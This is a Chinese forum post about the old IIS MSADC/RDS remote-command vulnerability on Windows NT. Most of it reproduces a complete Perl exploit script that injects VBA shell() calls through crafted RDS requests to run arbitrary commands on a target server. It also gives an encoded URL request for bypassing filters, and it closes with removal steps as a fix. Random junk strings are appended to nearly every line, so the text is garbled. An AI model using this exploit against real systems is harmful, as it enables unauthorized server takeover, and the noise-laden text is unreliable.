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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) 7-p9IFcA  
mBb;:-5  
涉及程序: Yfro^}f  
Microsoft NT server Q:U^):~  
w0`aW6t#  
描述: _T[7N|'O  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 iv3=J   
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详细: 2h Wtpus  
如果你没有时间读详细内容的话,就删除: A}./ ;[  
c:\Program Files\Common Files\System\Msadc\msadcs.dll \J@i:J6x$1  
有关的安全问题就没有了。 |ATz<"q>  
WX2:c,%:  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 0f"9w PC  
99xs5!4s  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 2QU ZBrs s  
关于利用ODBC远程漏洞的描述,请参看: bf#@YkE  
"Q{)H8,E)x  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm {\HEUIa]w  
?\_\pa/+  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 }cl~Vo-mp  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp EMe3Xb `  
.\/jy]Y  
这里不再论述。 s"tyCDc.c  
 12W`7  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: \U(;%V  
.O h4b5  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset fMGL1VN  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! /&PRw<}>_o  
1=R6||8ws  
CJn{tP  
#将下面这段保存为txt文件,然后: "perl -x 文件名" G6l:El&  
*<.{sx^Gk  
#!perl C2$_Ad=s  
# ihv=y\Jt  
# MSADC/RDS 'usage' (aka exploit) script ly!vbpE_  
# BYh F?  
# by rain.forest.puppy uv&??F]/  
# D's Tv}P  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me pQ:7%+Om  
# beta test and find errors! y;'yob  
QJeL&mf  
use Socket; use Getopt::Std; LIm{Y`XU  
getopts("e:vd:h:XR", \%args); <FaF67[Q  
B~\mr{|u  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; ](^$5Am  
]g/:lS4  
if (!defined $args{h} && !defined $args{R}) { ef !@|2  
print qq~ mgO D J  
Usage: msadc.pl -h <host> { -d <delay> -X -v } P@LFX[HtM  
-h <host> = host you want to scan (ip or domain) O %x<  
-d <seconds> = delay between calls, default 1 second [:vH_(|  
-X = dump Index Server path table, if available 4Lg!54P8  
-v = verbose 5uo?KSX%  
-e = external dictionary file for step 5 V*}xlxSL  
H K]-QTEn  
Or a -R will resume a command session pJnT \~o  
NU]+ {7  
~; exit;} "L?h@8sa  
o7_*#5rD  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; @ )bCh(u  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} D90.z"N\i9  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} ~2HlAU))<&  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);  BVJ6U[h`  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} 5o v F$qn  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } D7X8yv1  
N9 SC\  
if (!defined $args{R}){ $ret = &has_msadc; 6}(; ~/L  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} V8C62X  
nBN+.RB:(  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" 9)y7K%b0  
. "cmd /c "; ){D6E9  
$in=<STDIN>; chomp $in; -l:4I6-hi  
$command="cmd /c " . $in ; _S$ SL%;\  
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if (defined $args{R}) {&load; exit;} FV 0x/)<z  
B4l*]K%  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; z(o zMH  
&try_btcustmr; %z9lCTmy  
fV "gL(7  
print "\nStep 2: Trying to make our own DSN..."; .eNeq C  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; lR<1x  
?3duW$`  
print "\nStep 3: Trying known DSNs..."; Ro2Ab^rQ|  
&known_dsn; qcmf*Yl:v  
D  ,U#z  
print "\nStep 4: Trying known .mdbs..."; 2#i*'.  
&known_mdb; (yr<B_Y'MY  
g,k} nkIT  
if (defined $args{e}){ )R+26wZ|n*  
print "\nStep 5: Trying dictionary of DSN names..."; tCF,KP?  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } aSGZF w  
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print "Sorry Charley...maybe next time?\n"; yPn!1=-(  
exit; B$\,l.h E  
;Xr|['\'  
############################################################################## u&E$(  
:j<ij]rsI  
sub sendraw { # ripped and modded from whisker T4c]VWtD  
sleep($delay); # it's a DoS on the server! At least on mine... +46m~" ]  
my ($pstr)=@_; u/ Gk>F  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || /b;GC-"v  
die("Socket problems\n"); 0#/NZO  
if(connect(S,pack "SnA4x8",2,80,$target)){ U!TSAg21P  
select(S); $|=1; E!s?amM4  
print $pstr; my @in=<S>; R(1N]>  
select(STDOUT); close(S); q r<+@Q  
return @in; ~43T$^<w;  
} else { die("Can't connect...\n"); }} KAFx^JLo  
:TZ</3Sw  
############################################################################## dlf nhf  
17C"@1n-  
sub make_header { # make the HTTP request o-}q|tD$<  
my $msadc=<<EOT =/Lwprj  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 L>ruNw'-K  
User-Agent: ACTIVEDATA #~JR_oQE!  
Host: $ip <@](uWu  
Content-Length: $clen \F;  S  
Connection: Keep-Alive 5bZjW~d  
&tjv.t  
ADCClientVersion:01.06 4b@ Awtk  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 Qt~QJJN?oF  
tK0Ksnl^  
--!ADM!ROX!YOUR!WORLD! 'CfM'f3uu  
Content-Type: application/x-varg e.>>al  
Content-Length: $reqlen Py! F  
Z /*X)mBuB  
EOT N t-8[J  
; $msadc=~s/\n/\r\n/g; !A|ayYBb\  
return $msadc;}  %&81xAt  
4e!>A  
############################################################################## M3EB=tU  
Z37%jdr  
sub make_req { # make the RDS request l`b%imX  
my ($switch, $p1, $p2)=@_; aSEzh7 8  
my $req=""; my $t1, $t2, $query, $dsn; xU LcS :Q  
2@jlF!zC  
if ($switch==1){ # this is the btcustmr.mdb query M&h`uO/[  
$query="Select * from Customers where City=" . make_shell(); >39\u &)  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . JA]qAr  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} I7-6|J@#^  
M~O$ ,dof  
elsif ($switch==2){ # this is general make table query +8zC ol?j  
$query="create table AZZ (B int, C varchar(10))"; 5;:964Et  
$dsn="$p1";} G,-x+e"  
 TNj WZ  
elsif ($switch==3){ # this is general exploit table query x9qoS)@CM  
$query="select * from AZZ where C=" . make_shell(); = a54  
$dsn="$p1";} `*ml/% \  
fnJ!~b*qo  
elsif ($switch==4){ # attempt to hork file info from index server YsBOh{Ml  
$query="select path from scope()"; WWtksi,  
$dsn="Provider=MSIDXS;";} ([Da*Tk*  
(RM;T@`  
elsif ($switch==5){ # bad query 2+'4m#@)  
$query="select"; 0Vwl\,7z9  
$dsn="$p1";} hAvX{]  
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$t1= make_unicode($query); 6<`tb)_2~  
$t2= make_unicode($dsn); VM"z6@  
$req = "\x02\x00\x03\x00"; ^;DbIo\6H  
$req.= "\x08\x00" . pack ("S1", length($t1)); })TXX7[h  
$req.= "\x00\x00" . $t1 ; s6HfN'  
$req.= "\x08\x00" . pack ("S1", length($t2)); \*r]v;NcP  
$req.= "\x00\x00" . $t2 ; '"4S3Fysm  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; SJd,l,Gg)  
return $req;} i4g99Kvl  
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############################################################################## s4kkzTnXE3  
y7LT;`A  
sub make_shell { # this makes the shell() statement Rct=v DU  
return "'|shell(\"$command\")|'";} zjlo3=FQX[  
G8hq;W4@]/  
############################################################################## c)Ep<W<r1  
wx*)7Y*  
sub make_unicode { # quick little function to convert to unicode d~za%2{  
my ($in)=@_; my $out; /q\{OsrX  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } a]%>7yr4  
return $out;} /t;Kn m  
>"%}x{|  
############################################################################## BSc5@;  
Z^l!#"\4m  
sub rdo_success { # checks for RDO return success (this is kludge) 863PVce",}  
my (@in) = @_; my $base=content_start(@in); Hp1n*0%dZ&  
if($in[$base]=~/multipart\/mixed/){ I7@g,~s  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} d :%!)s  
return 0;} 3B6"T;_  
<7X6ULQ  
############################################################################## m@#@7[6]o  
y'21)P  
sub make_dsn { # this makes a DSN for us LE>b_gQ$ 2  
my @drives=("c","d","e","f"); :,*{,^2q:  
print "\nMaking DSN: "; u ^Ss8}d  
foreach $drive (@drives) { |j> fsk~  
print "$drive: "; Xx;4  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . 'du{ky  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" U%zZw)  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); n>##,o|Vr#  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; NUjo5.7  
return 0 if $2 eq "404"; # not found/doesn't exist ~L3]Wa.  
if($2 eq "200") { @, %IVKg\  
foreach $line (@results) { 18{" @<wIs  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} o9 g0fC  
} return 0;} |-! yKB  
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############################################################################## *5Aq\g,n  
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sub verify_exists { -)dS`hM  
my ($page)=@_; Lr;PESV  
my @results=sendraw("GET $page HTTP/1.0\n\n"); .C7;T'>!  
return $results[0];} 25-5X3(>j=  
GJB= 5nE  
############################################################################## e/nc[  
Ljq!\D  
sub try_btcustmr { P3u,)P&  
my @drives=("c","d","e","f"); 1~_&XNb&  
my @dirs=("winnt","winnt35","winnt351","win","windows"); qt&zo5  
l;'#!hC)  
foreach $dir (@dirs) { p#6V|5~8  
print "$dir -> "; # fun status so you can see progress d%C :%d  
foreach $drive (@drives) { Ad'b{C%  
print "$drive: "; # ditto kIlK"=  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; du0]LiHV  
$reqlenlen=length( "$reqlen" ); :Tu%0="ye  
$clen= 206 + $reqlenlen + $reqlen; r1o_i;rg  
I,0Z* rw  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); V/@?KC0B5  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} ,U?W  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} :!nBTw  
QZ:xG:qyk;  
############################################################################## hJIF!eoI  
.dStV6  
sub odbc_error { X1GpLy)p  
my (@in)=@_; my $base; RLtIn!2OU  
my $base = content_start(@in); @cT= t0*  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this wEp*j+Mmce  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; mE+  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; X&+*?Q^  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; `*to( )  
return $in[$base+4].$in[$base+5].$in[$base+6];} hD I}V 1)  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; xO nW~Z  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . ( /):  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} (RtjD`e}  
Y\pRk6,  
############################################################################## 5lp};  
IQ3]fLb  
sub verbose { R]8^ @i1  
my ($in)=@_; $k= 5nJ  
return if !$verbose; x-3!sf@  
print STDOUT "\n$in\n";} I X]K "hT  
hr)CxsPoRQ  
############################################################################## sH}q&=  
\XI9 +::%  
sub save { 057$b!A-a  
my ($p1, $p2, $p3, $p4)=@_; w:~Y@ b~D  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; ,O[Maj/ch  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; Ml Bw=Nr  
close OUT;} !`VC4o  
P O{1u%P  
############################################################################## ^3:y<{J  
5f'<0D;K  
sub load { 3jG #<4;J  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; yk<$XNc  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); PiTe/  
@p=<IN>; close(IN); YKZk/m&H  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); c'8a)j$$+  
$target= inet_aton($ip) || die("inet_aton problems"); 5HAIKc  
print "Resuming to $ip ..."; Q|+g= |%^  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; b5v6Y:f&fK  
if($p[1]==1) { {ylhh%t4hi  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; Zagj1 OV|  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; "Nx3_mQ  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); A7SE>e>  
if (rdo_success(@results)){print "Success!\n";} 'z}Hg *  
else { print "failed\n"; verbose(odbc_error(@results));}} }CyS_Tc  
elsif ($p[1]==3){ 3>I   
if(run_query("$p[3]")){ 8iDg2_l`G  
print "Success!\n";} else { print "failed\n"; }} zJJ6"9sl  
elsif ($p[1]==4){ w`?Rd  
if(run_query($drvst . "$p[3]")){ ]|y]?7  
print "Success!\n"; } else { print "failed\n"; }} tg X},OU^  
exit;} H^e0fm  
kQY+D1  
############################################################################## 6uAo0+-k  
4\6-sL?rW  
sub create_table { W6>SYa  
my ($in)=@_; .;'3Roi  
$reqlen=length( make_req(2,$in,"") ) - 28; ;C+g)BW  
$reqlenlen=length( "$reqlen" ); nHB=*Mj DV  
$clen= 206 + $reqlenlen + $reqlen; ;N FTdP  
my @results=sendraw(make_header() . make_req(2,$in,"")); =b* Is,R/  
return 1 if rdo_success(@results); \f AL:mJ  
my $temp= odbc_error(@results); verbose($temp); Z_F}Y2-w9  
return 1 if $temp=~/Table 'AZZ' already exists/; ctzaqsr  
return 0;} +.RC{o,  
<e :2DB&  
############################################################################## KfVLb4@16_  
A,2dK}\>  
sub known_dsn { {#c* *' 4  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go (DW[#2\.  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", ZSu0e%  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", xq2 ,S  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); DrTo")T  
XazKS4(  
foreach $dSn (@dsns) { TBzOz:k  
print "."; }uTe(Rf  
next if (!is_access("DSN=$dSn")); =c>w  
if(create_table("DSN=$dSn")){ guC7!P^  
print "$dSn successful\n"; J f,)Y>EI  
if(run_query("DSN=$dSn")){ b BFdr  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { 3N ]  
print "Something's borked. Use verbose next time\n";}}} print "\n";} :Gdfpz-{?  
us^2Oplq<  
############################################################################## N{f4-i~  
u*<G20~A  
sub is_access { K^_Mt!%  
my ($in)=@_; 1YklPMx6  
$reqlen=length( make_req(5,$in,"") ) - 28; H$/r{gfg^  
$reqlenlen=length( "$reqlen" ); A?q9(n|A"  
$clen= 206 + $reqlenlen + $reqlen; +gQn,HX  
my @results=sendraw(make_header() . make_req(5,$in,"")); +cw;a]o^>  
my $temp= odbc_error(@results); )/hb9+S  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); }5)sS}C  
return 0;} onuhNn_=>  
o~*5FN}%+l  
############################################################################## 'Si 1r%'m#  
:.+?v*%;n  
sub run_query { aFj)s?$4]K  
my ($in)=@_; 'kD~tpZ  
$reqlen=length( make_req(3,$in,"") ) - 28; #jja#PF]7  
$reqlenlen=length( "$reqlen" ); O-M4NKl]6  
$clen= 206 + $reqlenlen + $reqlen; ~$zodrS9  
my @results=sendraw(make_header() . make_req(3,$in,"")); Uv-xP(X  
return 1 if rdo_success(@results); :V%XEN)  
my $temp= odbc_error(@results); verbose($temp); UO& p2   
return 0;} |^ao,3h#  
.i7bI2^  
############################################################################## "z^&>#F  
r# }`{C;+5  
sub known_mdb { 9\|n2$H:  
my @drives=("c","d","e","f","g"); -F+dRzxH  
my @dirs=("winnt","winnt35","winnt351","win","windows"); "SuBtoK  
my $dir, $drive, $mdb; -n-rKN.T  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; ;!CYp; _  
DJtKLG0  
# this is sparse, because I don't know of many ;(kU:b|j  
my @sysmdbs=( "\\catroot\\icatalog.mdb", l+>&-lX'  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", ?T\m V}  
"\\system32\\certmdb.mdb", 9Fl}"p[>L.  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% rSYzrVc  
?\QEK  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", 31n5n  
"\\cfusion\\cfapps\\forums\\forums_.mdb", S=^a''bg  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", S)@95pb  
"\\cfusion\\cfapps\\security\\realm_.mdb", M. Fu>Xi  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", P8JN m"C  
"\\cfusion\\database\\cfexamples.mdb", 0@9.h{s@  
"\\cfusion\\database\\cfsnippets.mdb", FZM9aA  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", 5"Ibm D>D  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", XeaO,P  
"\\cfusion\\brighttiger\\database\\cleam.mdb", 8q6b3q:c  
"\\cfusion\\database\\smpolicy.mdb", 7kBULeBn|  
"\\cfusion\\database\cypress.mdb", u"%i3%Yjh  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", kQR kby  
"\\website\\cgi-win\\dbsample.mdb", X^PR];V:$  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", HS|X//]  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" N{]|!#  
); #these are just 4JTFdbx  
foreach $drive (@drives) { D3LW 49  
foreach $dir (@dirs){ C} #:<Jx  
foreach $mdb (@sysmdbs) { u/5I;7cb  
print "."; p",HF%  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ t} E 1NXW  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; 2EubMG  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ 3 ;F=EMz{  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; sLV bFN`  
} else { print "Something's borked. Use verbose next time\n"; }}}}} ^AWM/aY  
GdqT4a\S  
foreach $drive (@drives) { oEHUb?(p  
foreach $mdb (@mdbs) { -ISI!EU$  
print "."; bF88F_  
if(create_table($drv . $drive . $dir . $mdb)){ P5+FZzQ  
print "\n" . $drive . $dir . $mdb . " successful\n"; 0Ts[IHpg&E  
if(run_query($drv . $drive . $dir . $mdb)){ p;!'5 f  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; (mvAEN+y  
} else { print "Something's borked. Use verbose next time\n"; }}}} Bv^{|w  
} P`'Nv  
Nb[z+V{=  
############################################################################## 4c2*)x$@  
=kq!e  
sub hork_idx { z G {1;  
print "\nAttempting to dump Index Server tables...\n"; llbj-9OZL  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; 93|u. @lEy  
$reqlen=length( make_req(4,"","") ) - 28; ;4E0%@R  
$reqlenlen=length( "$reqlen" ); q%=`PCty  
$clen= 206 + $reqlenlen + $reqlen; S6 F28 d[j  
my @results=sendraw2(make_header() . make_req(4,"","")); nn@"68]g  
if (rdo_success(@results)){ N\IdZX%u  
my $max=@results; my $c; my %d; )#9R()n!  
for($c=19; $c<$max; $c++){ kfo, PrW`A  
$results[$c]=~s/\x00//g; & p 1Et  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; 9-DDly [)4  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; S~+}_$  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; k`W.tMo  
$d{"$1$2"}="";} sKhX0,s&  
foreach $c (keys %d){ print "$c\n"; } .(tga&]  
} else {print "Index server doesn't seem to be installed.\n"; }} S1pikwB  
f1;Pzr  
############################################################################## ,z1X{  
@|xcrEnP}B  
sub dsn_dict { qlJP2Ig~  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); 3F ;+ D  
while(<IN>){ C7`FM@z  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; r%hnl9  
next if (!is_access("DSN=$dSn")); }d2]QD#O  
if(create_table("DSN=$dSn")){ 4/$ $?w4  
print "$dSn successful\n"; v\#69J5.>)  
if(run_query("DSN=$dSn")){ >dol  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { UNcS\t2N  
print "Something's borked. Use verbose next time\n";}}} KaC+x-%K  
print "\n"; close(IN);} Y@._dliM  
Int 6xoz  
############################################################################## jb8v3L  
x68$?CD  
sub sendraw2 { # ripped and modded from whisker sm-RpZ&|  
sleep($delay); # it's a DoS on the server! At least on mine... "Y 9 *rL  
my ($pstr)=@_; Exox&T  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || }"j7Qy)cs  
die("Socket problems\n"); &ZgB b  
if(connect(S,pack "SnA4x8",2,80,$target)){ \?-`?QPux  
print "Connected. Getting data"; |q5R5 mQ  
open(OUT,">raw.out"); my @in; ~/J:p5?L  
select(S); $|=1; print $pstr; Mg]q^T.a  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} S(jbPQT  
close(OUT); select(STDOUT); close(S); return @in;  q&0Jl  
} else { die("Can't connect...\n"); }} xtyzy@)QL  
PuAcsYQhN  
############################################################################## 'v&k5`Qq  
]sJWiIe.  
sub content_start { # this will take in the server headers ;2 oR?COW  
my (@in)=@_; my $c; r{.DRbn  
for ($c=1;$c<500;$c++) { Wa%Zt*7  
if($in[$c] =~/^\x0d\x0a/){ m/sAYF"  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } <4,>`#NEo  
else { return $c+1; }}} l|[cA}HtB  
return -1;} # it should never get here actually  L2[|g~  
oJw~g [  
############################################################################## /"+ n{*9  
0"$Ui#r`  
sub funky { |D u.aN  
my (@in)=@_; my $error=odbc_error(@in); Q>u$tLX&  
if($error=~/ADO could not find the specified provider/){ 4(MZ*6G]?  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; , KF>PoySA  
exit;} ? &ew$%  
if($error=~/A Handler is required/){ =CEQYk-y1  
print "\nServer has custom handler filters (they most likely are patched)\n"; yzW9A=0A)  
exit;} ygr[5Tl  
if($error=~/specified Handler has denied Access/){ 8 ~.|^no  
print "\nServer has custom handler filters (they most likely are patched)\n"; -crKBy  
exit;}} KFBo1^9N  
$Ml/=\EHOg  
############################################################################## dL'hC#!h  
L)JpMf0  
sub has_msadc { NvWwj%6]  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); 306C_ M\$  
my $base=content_start(@results); CXGq>cQ=d  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); ?y!0QAIXK  
return 0;} Q@hx +aM  
#P$=P2o  
######################## a9qB8/Gg[  
E^_P  
x]lv:m\)jT  
解决方案: w1EYXe  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll \"c;MK{  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 oqHI`Tu  
Oz!#);v  
拿出来充数 哈哈
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